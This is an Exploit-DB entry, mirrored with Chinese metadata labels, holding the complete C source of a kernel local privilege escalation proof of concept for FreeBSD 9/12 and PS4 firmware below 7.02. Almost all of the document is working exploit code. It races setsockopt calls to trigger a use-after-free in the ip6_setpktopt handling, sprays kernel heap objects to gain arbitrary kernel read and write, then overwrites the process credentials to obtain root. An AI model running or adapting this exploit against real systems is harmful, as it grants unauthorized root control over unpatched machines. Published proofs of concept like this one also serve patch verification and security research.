Sony Playstation 4 (PS4) < 7.02 / FreeBSD 9 / FreeBSD 12 - 'ip6_setpktopt' Kernel Local Privilege Escalation (PoC)

  • 作者: TheFloW
    日期: 2020-03-21
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48644/
  • /*
    FreeBSD 12.0-RELEASE x64 Kernel Exploit
    
    Usage:
    $ clang -o exploit exploit.c -lpthread
    $ ./exploit
    */
    
    #include <errno.h>
    #include <fcntl.h>
    #include <stdio.h>
    #include <string.h>
    #include <stddef.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <pthread.h>
    #define _KERNEL
    #include <sys/event.h>
    #undef _KERNEL
    #define _WANT_FILE
    #include <sys/file.h>
    #include <sys/filedesc.h>
    #include <sys/param.h>
    #include <sys/proc.h>
    #include <sys/socket.h>
    #define _WANT_SOCKET
    #include <sys/socketvar.h>
    #include <netinet/in.h>
    #define _WANT_INPCB
    #include <netinet/in_pcb.h>
    #include <netinet/ip6.h>
    #include <netinet6/ip6_var.h>
    
    // #define FBSD12
    
    #define ELF_MAGIC 0x464c457f
    
    #define IPV6_2292PKTINFO 19
    #define IPV6_2292PKTOPTIONS 25
    
    #define TCLASS_MASTER 0x13370000
    #define TCLASS_SPRAY 0x41
    #define TCLASS_TAINT 0x42
    
    #define NUM_SPRAY_RACE 0x20
    #define NUM_SPRAY 0x100
    #define NUM_KQUEUES 0x100
    
    #ifdef FBSD12
    #define ALLPROC_OFFSET 0x1df3c38
    #else
    #define ALLPROC_OFFSET 0xf01e40
    #endif
    
    #define PKTOPTS_PKTINFO_OFFSET (offsetof(struct ip6_pktopts, ip6po_pktinfo))
    #define PKTOPTS_RTHDR_OFFSET (offsetof(struct ip6_pktopts, ip6po_rhinfo.ip6po_rhi_rthdr))
    #define PKTOPTS_TCLASS_OFFSET (offsetof(struct ip6_pktopts, ip6po_tclass))
    
    #define PROC_LIST_OFFSET (offsetof(struct proc, p_list))
    #define PROC_UCRED_OFFSET (offsetof(struct proc, p_ucred))
    #define PROC_FD_OFFSET (offsetof(struct proc, p_fd))
    #define PROC_PID_OFFSET (offsetof(struct proc, p_pid))
    
    #ifdef FBSD12
    
    #define FILEDESC_FILES_OFFSET (offsetof(struct filedesc, fd_files))
    #define FILEDESCENTTBL_OFILES_OFFSET (offsetof(struct fdescenttbl, fdt_ofiles))
    #define FILEDESCENTTBL_NFILES_OFFSET (offsetof(struct fdescenttbl, fdt_nfiles))
    #define FILEDESCENT_FILE_OFFSET (offsetof(struct filedescent, fde_file))
    #define FILE_TYPE_OFFSET (offsetof(struct file, f_type))
    #define FILE_DATA_OFFSET (offsetof(struct file, f_data))
    
    #else
    
    #define FILEDESC_OFILES_OFFSET (offsetof(struct filedesc, fd_ofiles))
    #define FILEDESC_NFILES_OFFSET (offsetof(struct filedesc, fd_nfiles))
    #define FILE_TYPE_OFFSET (offsetof(struct file, f_type))
    #define FILE_DATA_OFFSET (offsetof(struct file, f_data))
    
    #endif
    
    #define KNOTE_FOP_OFFSET (offsetof(struct knote, kn_fop))
    #define FILTEROPS_DETACH_OFFSET (offsetof(struct filterops, f_detach))
    
    #define SOCKET_PCB_OFFSET (offsetof(struct socket, so_pcb))
    #define INPCB_OUTPUTOPTS_OFFSET (offsetof(struct inpcb, in6p_outputopts))
    
    int kqueue(void);
    int kevent(int kq, const struct kevent *changelist, int nchanges,
     struct kevent *eventlist, int nevents,
     const struct timespec *timeout);
    
    static uint64_t kernel_base;
    static uint64_t p_ucred, p_fd;
    static uint64_t kevent_addr, pktopts_addr;
    
    static int triggered = 0;
    static int kevent_sock, master_sock, overlap_sock, victim_sock;
    static int spray_sock[NUM_SPRAY];
    static int kq[NUM_KQUEUES];
    
    static void hexDump(const void *data, size_t size) {
    size_t i;
    for(i = 0; i < size; i++) {
    printf("%02hhX%c", ((char *)data)[i], (i + 1) % 16 ? ' ' : '\n');
    }
    printf("\n");
    }
    
    static int new_socket(void) {
    return socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
    }
    
    static void build_tclass_cmsg(char *buf, int val) {
    struct cmsghdr *cmsg;
    
    cmsg = (struct cmsghdr *)buf;
    cmsg->cmsg_len = CMSG_LEN(sizeof(int));
    cmsg->cmsg_level = IPPROTO_IPV6;
    cmsg->cmsg_type = IPV6_TCLASS;
    
    *(int *)CMSG_DATA(cmsg) = val;
    }
    
    static int build_rthdr_msg(char *buf, int size) {
    struct ip6_rthdr *rthdr;
    int len;
    
    len = ((size >> 3) - 1) & ~1;
    size = (len + 1) << 3;
    
    memset(buf, 0, size);
    
    rthdr = (struct ip6_rthdr *)buf;
    rthdr->ip6r_nxt = 0;
    rthdr->ip6r_len = len;
    rthdr->ip6r_type = IPV6_RTHDR_TYPE_0;
    rthdr->ip6r_segleft = rthdr->ip6r_len >> 1;
    
    return size;
    }
    
    static int get_rthdr(int s, char *buf, socklen_t len) {
    return getsockopt(s, IPPROTO_IPV6, IPV6_RTHDR, buf, &len);
    }
    
    static int set_rthdr(int s, char *buf, socklen_t len) {
    return setsockopt(s, IPPROTO_IPV6, IPV6_RTHDR, buf, len);
    }
    
    static int free_rthdr(int s) {
    return set_rthdr(s, NULL, 0);
    }
    
    static int get_tclass(int s) {
    int val;
    socklen_t len = sizeof(val);
    getsockopt(s, IPPROTO_IPV6, IPV6_TCLASS, &val, &len);
    return val;
    }
    
    static int set_tclass(int s, int val) {
    return setsockopt(s, IPPROTO_IPV6, IPV6_TCLASS, &val, sizeof(val));
    }
    
    static int get_pktinfo(int s, char *buf) {
    socklen_t len = sizeof(struct in6_pktinfo);
    return getsockopt(s, IPPROTO_IPV6, IPV6_PKTINFO, buf, &len);
    }
    
    static int set_pktinfo(int s, char *buf) {
    return setsockopt(s, IPPROTO_IPV6, IPV6_PKTINFO, buf, sizeof(struct in6_pktinfo));
    }
    
    static int set_pktopts(int s, char *buf, socklen_t len) {
    return setsockopt(s, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, buf, len);
    }
    
    static int free_pktopts(int s) {
    return set_pktopts(s, NULL, 0);
    }
    
    static uint64_t leak_rthdr_ptr(int s) {
    char buf[0x100];
    get_rthdr(s, buf, sizeof(buf));
    return *(uint64_t *)(buf + PKTOPTS_RTHDR_OFFSET);
    }
    
    static uint64_t leak_kmalloc(char *buf, int size) {
    int rthdr_len = build_rthdr_msg(buf, size);
    set_rthdr(master_sock, buf, rthdr_len);
    #ifdef FBSD12
    get_rthdr(master_sock, buf, rthdr_len);
    return *(uint64_t *)(buf + 0x00);
    #else
    return leak_rthdr_ptr(overlap_sock);
    #endif
    }
    
    static void write_to_victim(uint64_t addr) {
    char buf[sizeof(struct in6_pktinfo)];
    *(uint64_t *)(buf + 0x00) = addr;
    *(uint64_t *)(buf + 0x08) = 0;
    *(uint32_t *)(buf + 0x10) = 0;
    set_pktinfo(master_sock, buf);
    }
    
    static int find_victim_sock(void) {
    char buf[sizeof(struct in6_pktinfo)];
    
    write_to_victim(pktopts_addr + PKTOPTS_PKTINFO_OFFSET);
    
    for (int i = 0; i < NUM_SPRAY; i++) {
    get_pktinfo(spray_sock[i], buf);
    if (*(uint64_t *)(buf + 0x00) != 0)
    return i;
    }
    
    return -1;
    }
    
    static uint8_t kread8(uint64_t addr) {
    char buf[sizeof(struct in6_pktinfo)];
    write_to_victim(addr);
    get_pktinfo(victim_sock, buf);
    return *(uint8_t *)buf;
    }
    
    static uint16_t kread16(uint64_t addr) {
    char buf[sizeof(struct in6_pktinfo)];
    write_to_victim(addr);
    get_pktinfo(victim_sock, buf);
    return *(uint16_t *)buf;
    }
    
    static uint32_t kread32(uint64_t addr) {
    char buf[sizeof(struct in6_pktinfo)];
    write_to_victim(addr);
    get_pktinfo(victim_sock, buf);
    return *(uint32_t *)buf;
    }
    
    static uint64_t kread64(uint64_t addr) {
    char buf[sizeof(struct in6_pktinfo)];
    write_to_victim(addr);
    get_pktinfo(victim_sock, buf);
    return *(uint64_t *)buf;
    }
    
    static void kread(void *dst, uint64_t src, size_t len) {
    for (int i = 0; i < len; i++)
    ((uint8_t *)dst)[i] = kread8(src + i);
    }
    
    static void kwrite64(uint64_t addr, uint64_t val) {
    int fd = open("/dev/kmem", O_RDWR);
    if (fd >= 0) {
    lseek(fd, addr, SEEK_SET);
    write(fd, &val, sizeof(val));
    close(fd);
    }
    }
    
    static int kwrite(uint64_t addr, void *buf) {
    write_to_victim(addr);
    return set_pktinfo(victim_sock, buf);
    }
    
    static uint64_t find_kernel_base(uint64_t addr) {
    addr &= ~(PAGE_SIZE - 1);
    while (kread32(addr) != ELF_MAGIC)
    addr -= PAGE_SIZE;
    return addr;
    }
    
    static int find_proc_cred_and_fd(pid_t pid) {
    uint64_t proc = kread64(kernel_base + ALLPROC_OFFSET);
    
    while (proc) {
    if (kread32(proc + PROC_PID_OFFSET) == pid) {
    p_ucred = kread64(proc + PROC_UCRED_OFFSET);
    p_fd = kread64(proc + PROC_FD_OFFSET);
    printf("[+] p_ucred: 0x%lx\n", p_ucred);
    printf("[+] p_fd: 0x%lx\n", p_fd);
    return 0;
    }
    
    proc = kread64(proc + PROC_LIST_OFFSET);
    }
    
    return -1;
    }
    
    #ifdef FBSD12
    
    static uint64_t find_socket_data(int s) {
    uint64_t files, ofiles, fp;
    int nfiles;
    short type;
    
    files = kread64(p_fd + FILEDESC_FILES_OFFSET);
    if (!files)
    return 0;
    
    ofiles = files + FILEDESCENTTBL_OFILES_OFFSET;
    
    nfiles = kread32(files + FILEDESCENTTBL_NFILES_OFFSET);
    if (s < 0 || s >= nfiles)
    return 0;
    
    fp = kread64(ofiles + s * sizeof(struct filedescent) + FILEDESCENT_FILE_OFFSET);
    if (!fp)
    return 0;
    
    type = kread16(fp + FILE_TYPE_OFFSET);
    if (type != DTYPE_SOCKET)
    return 0;
    
    return kread64(fp + FILE_DATA_OFFSET);
    }
    
    #else
    
    static uint64_t find_socket_data(int s) {
    uint64_t ofiles, fp;
    int nfiles;
    short type;
    
    ofiles = kread64(p_fd + FILEDESC_OFILES_OFFSET);
    if (!ofiles)
    return 0;
    
    nfiles = kread32(p_fd + FILEDESC_NFILES_OFFSET);
    if (s < 0 || s >= nfiles)
    return 0;
    
    fp = kread64(ofiles + s * sizeof(struct file *));
    if (!fp)
    return 0;
    
    type = kread16(fp + FILE_TYPE_OFFSET);
    if (type != DTYPE_SOCKET)
    return 0;
    
    return kread64(fp + FILE_DATA_OFFSET);
    }
    
    #endif
    
    static uint64_t find_socket_pcb(int s) {
    uint64_t f_data;
    
    f_data = find_socket_data(s);
    if (!f_data)
    return 0;
    
    return kread64(f_data + SOCKET_PCB_OFFSET);
    }
    
    static uint64_t find_socket_pktopts(int s) {
    uint64_t in6p;
    
    in6p = find_socket_pcb(s);
    if (!in6p)
    return 0;
    
    return kread64(in6p + INPCB_OUTPUTOPTS_OFFSET);
    }
    
    static void cleanup(void) {
    uint64_t master_pktopts, overlap_pktopts, victim_pktopts;
    
    master_pktopts= find_socket_pktopts(master_sock);
    overlap_pktopts = find_socket_pktopts(overlap_sock);
    victim_pktopts= find_socket_pktopts(victim_sock);
    
    kwrite64(master_pktopts+ PKTOPTS_PKTINFO_OFFSET, 0);
    kwrite64(overlap_pktopts + PKTOPTS_RTHDR_OFFSET, 0);
    kwrite64(victim_pktopts+ PKTOPTS_PKTINFO_OFFSET, 0);
    }
    
    static void escalate_privileges(void) {
    char buf[sizeof(struct in6_pktinfo)];
    
    *(uint32_t *)(buf + 0x00) = 0; // cr_uid
    *(uint32_t *)(buf + 0x04) = 0; // cr_ruid
    *(uint32_t *)(buf + 0x08) = 0; // cr_svuid
    *(uint32_t *)(buf + 0x0c) = 1; // cr_ngroups
    *(uint32_t *)(buf + 0x10) = 0; // cr_rgid
    
    kwrite(p_ucred + 4, buf);
    }
    
    static int find_overlap_sock(void) {
    set_tclass(master_sock, TCLASS_TAINT);
    
    for (int i = 0; i < NUM_SPRAY; i++) {
    if (get_tclass(spray_sock[i]) == TCLASS_TAINT)
    return i;
    }
    
    return -1;
    }
    
    static int spray_pktopts(void) {
    for (int i = 0; i < NUM_SPRAY_RACE; i++)
    set_tclass(spray_sock[i], TCLASS_SPRAY);
    
    if (get_tclass(master_sock) == TCLASS_SPRAY)
    return 1;
    
    for (int i = 0; i < NUM_SPRAY_RACE; i++)
    free_pktopts(spray_sock[i]);
    
    return 0;
    }
    
    static void *use_thread(void *arg) {
    char buf[CMSG_SPACE(sizeof(int))];
    build_tclass_cmsg(buf, 0);
    
    while (!triggered && get_tclass(master_sock) != TCLASS_SPRAY) {
    set_pktopts(master_sock, buf, sizeof(buf));
    
    #ifdef FBSD12
     usleep(100);
    #endif
    }
    
    triggered = 1;
    return NULL;
    }
    
    static void *free_thread(void *arg) {
    while (!triggered && get_tclass(master_sock) != TCLASS_SPRAY) {
    free_pktopts(master_sock);
    
    #ifdef FBSD12
    if (spray_pktopts())
    break;
    #endif
    
    usleep(100);
    }
    
    triggered = 1;
    return NULL;
    }
    
    static int trigger_uaf(void) {
    pthread_t th[2];
    
    pthread_create(&th[0], NULL, use_thread, NULL);
    pthread_create(&th[1], NULL, free_thread, NULL);
    
    while (1) {
    if (spray_pktopts())
    break;
    
    #ifndef FBSD12
    usleep(100);
    #endif
    }
    
    triggered = 1;
    
    pthread_join(th[0], NULL);
    pthread_join(th[1], NULL);
    
    return find_overlap_sock();
    }
    
    static int fake_pktopts(uint64_t pktinfo) {
    char buf[0x100];
    int rthdr_len, tclass;
    
    // Free master_sock's pktopts
    free_pktopts(overlap_sock);
    
    // Spray rthdr's to refill master_sock's pktopts
    rthdr_len = build_rthdr_msg(buf, 0x100);
    for (int i = 0; i < NUM_SPRAY; i++) {
    *(uint64_t *)(buf + PKTOPTS_PKTINFO_OFFSET) = pktinfo;
    *(uint32_t *)(buf + PKTOPTS_TCLASS_OFFSET)= TCLASS_MASTER | i;
    set_rthdr(spray_sock[i], buf, rthdr_len);
    }
    
    tclass = get_tclass(master_sock);
    
    // See if pktopts has been refilled correctly
    if ((tclass & 0xffff0000) != TCLASS_MASTER) {
    printf("[-] Error could not refill pktopts.\n");
    exit(1);
    }
    
    return tclass & 0xffff;
    }
    
    static void leak_kevent_pktopts(void) {
    char buf[0x800];
    
    struct kevent kv;
    EV_SET(&kv, kevent_sock, EVFILT_READ, EV_ADD, 0, 5, NULL);
    
    // Free pktopts
    for (int i = 0; i < NUM_SPRAY; i++)
    free_pktopts(spray_sock[i]);
    
    // Leak 0x800 kmalloc addr
    kevent_addr = leak_kmalloc(buf, 0x800);
    printf("[+] kevent_addr: 0x%lx\n", kevent_addr);
    
    // Free rthdr buffer and spray kevents to occupy this location
    free_rthdr(master_sock);
    for (int i = 0; i < NUM_KQUEUES; i++)
    kevent(kq[i], &kv, 1, 0, 0, 0);
    
    // Leak 0x100 kmalloc addr
    pktopts_addr = leak_kmalloc(buf, 0x100);
    printf("[+] pktopts_addr: 0x%lx\n", pktopts_addr);
    
    // Free rthdr buffer and spray pktopts to occupy this location
    free_rthdr(master_sock);
    for (int i = 0; i < NUM_SPRAY; i++)
    set_tclass(spray_sock[i], 0);
    }
    
    int main(int argc, char *argv[]) {
    uint64_t knote, kn_fop, f_detach;
    int idx;
    
    printf("[*] Initializing sockets...\n");
    
    kevent_sock = new_socket();
    master_sock = new_socket();
    
    for (int i = 0; i < NUM_SPRAY; i++)
    spray_sock[i] = new_socket();
    
    for (int i = 0; i < NUM_KQUEUES; i++)
    kq[i] = kqueue();
    
    printf("[*] Triggering UAF...\n");
    idx = trigger_uaf();
    if (idx == -1) {
    printf("[-] Error could not find overlap sock.\n");
    exit(1);
    }
    
    // master_sock and overlap_sock point to the same pktopts
    overlap_sock = spray_sock[idx];
    spray_sock[idx] = new_socket();
    printf("[+] Overlap socket: %x (%x)\n", overlap_sock, idx);
    
    // Reallocate pktopts
    for (int i = 0; i < NUM_SPRAY; i++) {
    free_pktopts(spray_sock[i]);
    set_tclass(spray_sock[i], 0);
    }
    
    // Fake master pktopts
    idx = fake_pktopts(0);
    overlap_sock = spray_sock[idx];
    spray_sock[idx] = new_socket(); // use new socket so logic in spraying will be easier
    printf("[+] Overlap socket: %x (%x)\n", overlap_sock, idx);
    
    // Leak address of some kevent and pktopts
    leak_kevent_pktopts();
    
    // Fake master pktopts
    idx = fake_pktopts(pktopts_addr + PKTOPTS_PKTINFO_OFFSET);
    overlap_sock = spray_sock[idx];
    printf("[+] Overlap socket: %x (%x)\n", overlap_sock, idx);
    
    idx = find_victim_sock();
    if (idx == -1) {
    printf("[-] Error could not find victim sock.\n");
    exit(1);
    }
    
    victim_sock = spray_sock[idx];
    printf("[+] Victim socket: %x (%x)\n", victim_sock, idx);
    
    printf("[+] Arbitrary R/W achieved.\n");
    
    knote= kread64(kevent_addr + kevent_sock * sizeof(uintptr_t));
    kn_fop = kread64(knote + KNOTE_FOP_OFFSET);
    f_detach = kread64(kn_fop + FILTEROPS_DETACH_OFFSET);
    
    printf("[+] knote: 0x%lx\n", knote);
    printf("[+] kn_fop: 0x%lx\n", kn_fop);
    printf("[+] f_detach: 0x%lx\n", f_detach);
    
    printf("[+] Finding kernel base...\n");
    kernel_base = find_kernel_base(f_detach);
    printf("[+] Kernel base: 0x%lx\n", kernel_base);
    
    printf("[+] Finding process cred and fd...\n");
    find_proc_cred_and_fd(getpid());
    
    printf("[*] Escalating privileges...\n");
    escalate_privileges();
    
    printf("[*] Cleaning up...\n");
    cleanup();
    
    printf("[+] Done.\n");
    
    return 0;
    }